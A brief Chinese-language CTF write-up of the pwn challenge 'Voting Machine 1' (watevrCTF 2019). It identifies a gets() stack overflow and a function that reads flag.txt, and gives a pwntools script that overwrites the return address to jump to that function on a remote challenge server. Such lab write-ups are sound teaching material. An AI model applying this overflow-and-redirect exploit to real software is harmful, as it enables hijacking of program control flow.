NSSCTF刷题笔记pwn7——[watevrCTF 2019]Voting Machine 1

main函数，打印一串大小，看到gets函数，存在栈溢出

看了一下没有找到system函数

找到一个读取flag.txt的函数

可以看到输入的AAAA距离返回地址差10个比特

那么写代码，控制流到这个函数试试看

from pwn import *
context(arch='amd64')
#io = process('./pwn')
io = remote('node5.anna.nssctf.cn',28872)
elf = ELF('./pwn')

flag_func = 0x400807

payload = flat([b'A'* 10,flag_func])
io.sendline(payload)
io.interactive()